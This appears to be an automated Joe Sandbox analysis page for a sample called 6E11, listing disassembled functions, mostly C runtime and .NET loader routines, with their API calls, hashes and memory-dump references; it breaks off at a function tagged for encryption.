Snapshot File: hcaresult_21_2_61c0000_6E11.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: e3c1552a570e5b16bf4a3ba9866084f5fce1388f52a45e06dcf83578b1d9740d
Instruction ID: 06be423ff846b22068828fc4842d72e5802b8c6aa3b1298df738f3e81bbd3869
Opcode Fuzzy Hash: e3c1552a570e5b16bf4a3ba9866084f5fce1388f52a45e06dcf83578b1d9740d
Instruction Fuzzy Hash: 2031BDB4D012589FCF14CFA9D984A9EFBB5BF98320F14942AE815B7300C774A941CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 6F1125C3 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6F10CB3E,6F109BD4,?,00000000,00000000,00000000,?,6F10EA98,00000001,00000214), ref: 6F112606

Part of subcall function 6F10D7D8: __getptd_noexit.LIBCMT ref: 6F10D7D8

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: df392e92ea758c8d1575da7ff1f98cafab2783bcb3af16da27192b4e67a1e38e
Instruction ID: c85e161e7e72fce1cb0e38317e5a5da3ba81399c355c315c4b6afdf2d210635f
Opcode Fuzzy Hash: df392e92ea758c8d1575da7ff1f98cafab2783bcb3af16da27192b4e67a1e38e
Instruction Fuzzy Hash: 5F01B1312092959BEB14DF35CC64F9A33A5BFA37E0F10453AAC298B1D0DB30E430CA50

Uniqueness

Uniqueness Score: -1.00%

Function 6F0CEA40 Relevance: 1.5, APIs: 1, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

SysAllocString.OLEAUT32 ref: 6F0CEA8D

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: AllocString_malloc
String ID:
API String ID: 959018026-0
Opcode ID: 1a58650c7a3120c0355b3100b4b0bf71b2e94dfaf135c9e51e4ad82de67331cc
Instruction ID: 2dac735438d332afaf43c8eec1cb63376e0954a756fc73fde4406ea2e01e2000
Opcode Fuzzy Hash: 1a58650c7a3120c0355b3100b4b0bf71b2e94dfaf135c9e51e4ad82de67331cc
Instruction Fuzzy Hash: 20018071804B55EFE311CF98C901B9AB7E8FB05B64F10432AE815A7380D7B5A910CAD1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0D3160 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6F0D316E

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 6080e03f66cf4956a255a5ac890dd67e7cf4e1a4c2a5f1178bf3c49ed0b50dda
Instruction ID: 7028e7ddf8914aeb1eae306a7965e95f4b79e910a1b9edb3c67867a513e70495
Opcode Fuzzy Hash: 6080e03f66cf4956a255a5ac890dd67e7cf4e1a4c2a5f1178bf3c49ed0b50dda
Instruction Fuzzy Hash: 66F04F75A012086BDB04EB94DD56FAEB3BDEF88300F008159FD055B340DA31AD16C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6F109D21 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6F10E8DC

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: H_prolog3_catch_malloc
String ID:
API String ID: 529455676-0
Opcode ID: 925da9cdf525ff1ea6a04ac6fe0d53c50aa671e4f88ddfcbed24ad2d57b031fe
Instruction ID: 9f0c2933c9c5744f1fa33b1fd39d16200abffb7929e26a233cc81bfcd383fe3d
Opcode Fuzzy Hash: 925da9cdf525ff1ea6a04ac6fe0d53c50aa671e4f88ddfcbed24ad2d57b031fe
Instruction Fuzzy Hash: 10D05E3151830DA7CB51FBA9C505F6D7BA0AB413E5F900065F0087A2C0DE726E208BA6

Uniqueness

Uniqueness Score: -1.00%

Function 6F109AB8 Relevance: 1.5, APIs: 1, Instructions: 14COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6F10D291: __lock.LIBCMT ref: 6F10D293

__onexit_nolock.LIBCMT ref: 6F109AD0

Part of subcall function 6F1099D1: RtlDecodePointer.NTDLL(6F14B974,6F124230,00000000,?,?,6F109AD5,6F0B51E0,6F139540,0000000C,6F109B01,6F0B51E0,?,6F109C19,6F1236BB,6F0B51E0), ref: 6F1099E6
Part of subcall function 6F1099D1: DecodePointer.KERNEL32(?,?,6F109AD5,6F0B51E0,6F139540,0000000C,6F109B01,6F0B51E0,?,6F109C19,6F1236BB,6F0B51E0), ref: 6F1099F3
Part of subcall function 6F1099D1: __realloc_crt.LIBCMT ref: 6F109A30
Part of subcall function 6F1099D1: __realloc_crt.LIBCMT ref: 6F109A46
Part of subcall function 6F1099D1: EncodePointer.KERNEL32(00000000,?,?,6F109AD5,6F0B51E0,6F139540,0000000C,6F109B01,6F0B51E0,?,6F109C19,6F1236BB,6F0B51E0), ref: 6F109A58
Part of subcall function 6F1099D1: EncodePointer.KERNEL32(6F0B51E0,?,?,6F109AD5,6F0B51E0,6F139540,0000000C,6F109B01,6F0B51E0,?,6F109C19,6F1236BB,6F0B51E0), ref: 6F109A6C
Part of subcall function 6F1099D1: EncodePointer.KERNEL32(-00000004,?,?,6F109AD5,6F0B51E0,6F139540,0000000C,6F109B01,6F0B51E0,?,6F109C19,6F1236BB,6F0B51E0), ref: 6F109A74

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Pointer$Encode$Decode__realloc_crt$__lock__onexit_nolock
String ID:
API String ID: 3536590627-0
Opcode ID: 337dab79c5a2196e3375339ab159099b615490b3b98113a3ab041dbd079cea32
Instruction ID: cac27e1ac3f269db7303c750787f295e6e41a20b958e432c20e56a51e203bf56
Opcode Fuzzy Hash: 337dab79c5a2196e3375339ab159099b615490b3b98113a3ab041dbd079cea32
Instruction Fuzzy Hash: 6AD05E72C05305EACB20FBB4D860B5DBB716F00399FA04115A410A61D4DF3466618E00

Uniqueness

Uniqueness Score: -1.00%

Function 6F10D4E7 Relevance: 1.5, APIs: 1, Instructions: 6COMMONLIBRARYCODE

Download Yara Rule

APIs

_doexit.LIBCMT ref: 6F10D4ED

Part of subcall function 6F10D391: __lock.LIBCMT ref: 6F10D39F
Part of subcall function 6F10D391: RtlDecodePointer.NTDLL(6F1397A0,00000020,6F10D4E2,6F109BD4,00000001,00000000,?,6F10D513,000000FF,?,6F11245F,00000011,6F109BD4,?,6F10EA03,0000000D), ref: 6F10D3DB
Part of subcall function 6F10D391: DecodePointer.KERNEL32(?,6F10D513,000000FF,?,6F11245F,00000011,6F109BD4,?,6F10EA03,0000000D), ref: 6F10D3EC
Part of subcall function 6F10D391: DecodePointer.KERNEL32(-00000004,?,6F10D513,000000FF,?,6F11245F,00000011,6F109BD4,?,6F10EA03,0000000D), ref: 6F10D412
Part of subcall function 6F10D391: DecodePointer.KERNEL32(?,6F10D513,000000FF,?,6F11245F,00000011,6F109BD4,?,6F10EA03,0000000D), ref: 6F10D425
Part of subcall function 6F10D391: DecodePointer.KERNEL32(?,6F10D513,000000FF,?,6F11245F,00000011,6F109BD4,?,6F10EA03,0000000D), ref: 6F10D42F

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: DecodePointer$__lock_doexit
String ID:
API String ID: 3343572566-0
Opcode ID: 71bf41ca4ab6c6b9d5c9b8aa331f48d1f3c4064364d0ec5ab27b06038e4970e1
Instruction ID: 8fffab903e35c73c0cae78e064b9559ed725e82f614e50b5cd931f594970b159
Opcode Fuzzy Hash: 71bf41ca4ab6c6b9d5c9b8aa331f48d1f3c4064364d0ec5ab27b06038e4970e1
Instruction Fuzzy Hash: 81A002B5BD470121F86061512C43F54B1021750F45FD40050BB483C1C0BDD632684057

Uniqueness

Uniqueness Score: -1.00%

Function 6F10E936 Relevance: 1.5, APIs: 1, Instructions: 3COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,6F1182F2,6F14BD18,00000314,00000000,?,?,?,?,?,6F10D6DC,6F14BD18,Microsoft Visual C++ Runtime Library,00012010), ref: 6F10E938

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: c7ac1d7de5e8e501e7fff7b28d95c2caf6a9cc6407a587200049f4127d96bb5d
Instruction ID: ec904ba40f3cc7b6cd09b9be54712366ff65f070a6e9447092f0c3fa11f25e9e
Opcode Fuzzy Hash: c7ac1d7de5e8e501e7fff7b28d95c2caf6a9cc6407a587200049f4127d96bb5d
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 061B2278 Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

PO{q, xrefs: 061B232C

Memory Dump Source

Source File: 00000015.00000002.1049595696.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61b0000_6E11.jbxd

Similarity

API ID:
String ID: PO{q
API String ID: 0-2051472340
Opcode ID: 35e3ecb419fbf356ede85c6f750c1b3afaea2c2d48e720a470b5958e3c3fd80c
Instruction ID: 0aaae21bdac5bdc4374b2bcdef3b532cc23ed68e8a99fc22242942a3a5377fcd
Opcode Fuzzy Hash: 35e3ecb419fbf356ede85c6f750c1b3afaea2c2d48e720a470b5958e3c3fd80c
Instruction Fuzzy Hash: 7B410971B04205AFC748EF68D8909FE7BF6EFC5310B1588AAE115DB361DB349D098B90

Uniqueness

Uniqueness Score: -1.00%

Function 061B0000 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

Te{q, xrefs: 061B0077

Memory Dump Source

Source File: 00000015.00000002.1049595696.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61b0000_6E11.jbxd

Similarity

API ID:
String ID: Te{q
API String ID: 0-3237916597
Opcode ID: c387b8ea0b5900139354990a0a5b08ac6a0aa1ff48cec82ac09ac7be04e3a5fb
Instruction ID: 5ae904890e20a707e787efabf2e0947a2d9a1bf5ada4307693cb16aa86387c60
Opcode Fuzzy Hash: c387b8ea0b5900139354990a0a5b08ac6a0aa1ff48cec82ac09ac7be04e3a5fb
Instruction Fuzzy Hash: 5631B27560D3C11FCB1BAB7488642AE7FB5AF9B200F0904DAD0459F3D2CA285D09C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 061B010C Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

Te{q, xrefs: 061B0156

Memory Dump Source

Source File: 00000015.00000002.1049595696.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61b0000_6E11.jbxd

Similarity

API ID:
String ID: Te{q
API String ID: 0-3237916597
Opcode ID: d8173452b38f74990fd96a99d56f259d7a0d6ac51be2052e33822645851529cb
Instruction ID: bf460d561fab2152d9ddc1c513af8fc78ed92d948911a687fd857a3010a5f283
Opcode Fuzzy Hash: d8173452b38f74990fd96a99d56f259d7a0d6ac51be2052e33822645851529cb
Instruction Fuzzy Hash: F921B175B043465FCB1AABA4C85467EBFB2FF95200F1444AED0469B391CA345D0A97A2

Uniqueness

Uniqueness Score: -1.00%

Function 061B0128 Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

Te{q, xrefs: 061B0156

Memory Dump Source

Source File: 00000015.00000002.1049595696.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61b0000_6E11.jbxd

Similarity

API ID:
String ID: Te{q
API String ID: 0-3237916597
Opcode ID: 3edee3375f11cef465e3c562eeee474684414e86b4275e4d880b9e7213e46e8c
Instruction ID: af2e14474e0aae50d8d1cefe1b57e7d57cc58d57551169d3a28eb839c3a04dda
Opcode Fuzzy Hash: 3edee3375f11cef465e3c562eeee474684414e86b4275e4d880b9e7213e46e8c
Instruction Fuzzy Hash: 5B11C075B1020A5BCB18BBA8C454ABFBBB6FFD8610F544429D106AB390CF359D0A87E1

Uniqueness

Uniqueness Score: -1.00%

Function 061B0048 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

Te{q, xrefs: 061B0077

Memory Dump Source

Source File: 00000015.00000002.1049595696.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61b0000_6E11.jbxd

Similarity

API ID:
String ID: Te{q
API String ID: 0-3237916597
Opcode ID: 198c9dc8151ed2cbfaac5c3d6bafdc271b4bbc5c135c72e30bf63e54b87b44df
Instruction ID: 197ab32805ad9df5103dea11cc8c3b0578161d8e63cc38a5ad53449456ff3a88
Opcode Fuzzy Hash: 198c9dc8151ed2cbfaac5c3d6bafdc271b4bbc5c135c72e30bf63e54b87b44df
Instruction Fuzzy Hash: 1E11AF74B102165BCB29BBA8D4957BFBAE6FF98600F540468D106AB380CF245D0687E2

Uniqueness

Uniqueness Score: -1.00%

Function 061B3619 Relevance: 1.1, Instructions: 1057COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1049595696.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61b0000_6E11.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0dad7a78477047b7f876a33a34b387bf7b4a4d1176cd08a72da4fd6bb774688
Instruction ID: 185be499d533d8cd03060dd49514f6e9ce4230cfddcc67e0969dc8f1172b5e54
Opcode Fuzzy Hash: f0dad7a78477047b7f876a33a34b387bf7b4a4d1176cd08a72da4fd6bb774688
Instruction Fuzzy Hash: 6C110624A0C3C28FD75E823989501B67BB25FC5354B0B98ABC436CB392DF24CA16C752

Uniqueness

Uniqueness Score: -1.00%

Function 061B1F98 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1049595696.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61b0000_6E11.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b925345f9a61b910236c68fa46aa6e8162069ddcf51efa389c0ce343e9168b5b
Instruction ID: ceff37bb27a2253375da6013ab538e05d7212b3f158ef058d474d345cb665070
Opcode Fuzzy Hash: b925345f9a61b910236c68fa46aa6e8162069ddcf51efa389c0ce343e9168b5b
Instruction Fuzzy Hash: 8B714D34B00214CFDB88DF68C8909A9B7F2FF88310B169569E906DB361DB31ED45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 061B1F4C Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1049595696.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61b0000_6E11.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d4bc9234f35713602062050eb288d1e9c917d756fe81940d788f77a9c49dc2f
Instruction ID: 8c5e78553eef00575feed48b3e41abaf4961b28b28c1a8040865f387cb10d744
Opcode Fuzzy Hash: 7d4bc9234f35713602062050eb288d1e9c917d756fe81940d788f77a9c49dc2f
Instruction Fuzzy Hash: 93717F35B04200CFDB89CF68C9A09A9BBF1FF49310716959AE906DB362D731ED05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 061B0848 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1049595696.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61b0000_6E11.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dec9441b1a55e2fe55c5f1a2cb92cb463747d1950b2904d0204c95f77ad3a25
Instruction ID: 8a532ea097e891ca96964406dbbd9803ad35f8655886ebf9ab0e867999541789
Opcode Fuzzy Hash: 4dec9441b1a55e2fe55c5f1a2cb92cb463747d1950b2904d0204c95f77ad3a25
Instruction Fuzzy Hash: B9119A393043509FC74AEB68C894D697BF5FF8A61434644EAE10ACF372DA309C05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 061B0868 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1049595696.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61b0000_6E11.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43fff17aec5e16b1bdb31e446ec75197781a366c67723c2060a8ebd380ead259
Instruction ID: 2939c4d7c3193c4dcce811b66d9b7fe6ef9187eb8671edfa7d43dd151d21b85d
Opcode Fuzzy Hash: 43fff17aec5e16b1bdb31e446ec75197781a366c67723c2060a8ebd380ead259
Instruction Fuzzy Hash: 260125393102119FC748EB6DD894C2EBBEAFF9961534144A9E10ACB371DE31EC028B90

Uniqueness

Uniqueness Score: -1.00%

Function 061B21DA Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1049595696.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61b0000_6E11.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0265bd5287ca92dd38e472a2d9d686cf3168d2865bf55e864beb57ea42a81f6
Instruction ID: 082026f818f17938de415a7821602a09fa04b9a00a9163424c01b746c333a1ce
Opcode Fuzzy Hash: d0265bd5287ca92dd38e472a2d9d686cf3168d2865bf55e864beb57ea42a81f6
Instruction Fuzzy Hash: 6601B530F002565BD704DBF999906BFB7B7FFD9210F288469DA14A7340CB31A90787A1

Uniqueness

Uniqueness Score: -1.00%

Function 061B21E0 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1049595696.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61b0000_6E11.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f72995c348dba16002392f3a501cb90e07e02846319bee06faded09882272e44
Instruction ID: a7ff510e32487db5fd59f79d7fa9b9316988ad80447d0da3bfede885c56ea566
Opcode Fuzzy Hash: f72995c348dba16002392f3a501cb90e07e02846319bee06faded09882272e44
Instruction Fuzzy Hash: 84017531F102165BD704DAAA9990AAFB7BBBBD4610F248429DA14A7344CF71AD0687A1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6F0BA0C0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 227libraryloaderCOMMON

Download Yara Rule

APIs

CorBindToRuntimeEx.MSCOREE(v2.0.50727,wks,00000000,6F130634,6F130738,?), ref: 6F0BA119
GetModuleHandleW.KERNEL32(mscorwks), ref: 6F0BA145
__cftoe.LIBCMT ref: 6F0BA1FB
GetModuleHandleW.KERNEL32(?), ref: 6F0BA215
GetProcAddress.KERNEL32(00000000,00000018), ref: 6F0BA265

Strings

v2.0.50727, xrefs: 6F0BA110
wks, xrefs: 6F0BA10B
mscorwks, xrefs: 6F0BA140

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: HandleModule$AddressBindProcRuntime__cftoe
String ID: mscorwks$v2.0.50727$wks
API String ID: 1312202379-2066655427
Opcode ID: e53dd48f309253c15337f89b1c9f6d44f27bbd7f9ca91eb93f9480e84b426e38
Instruction ID: e9b0d391ee5c325ccd36d7a847fa5dcadbb25659e727d2fb2ed537eb7722e4e4
Opcode Fuzzy Hash: e53dd48f309253c15337f89b1c9f6d44f27bbd7f9ca91eb93f9480e84b426e38
Instruction Fuzzy Hash: 979179B1D042499FDB04DFE8C984A9EBBF5BF49310F20866EE519EB380D731A945CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6F0FDBB0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75encryptionCOMMON

Download Yara Rule

APIs

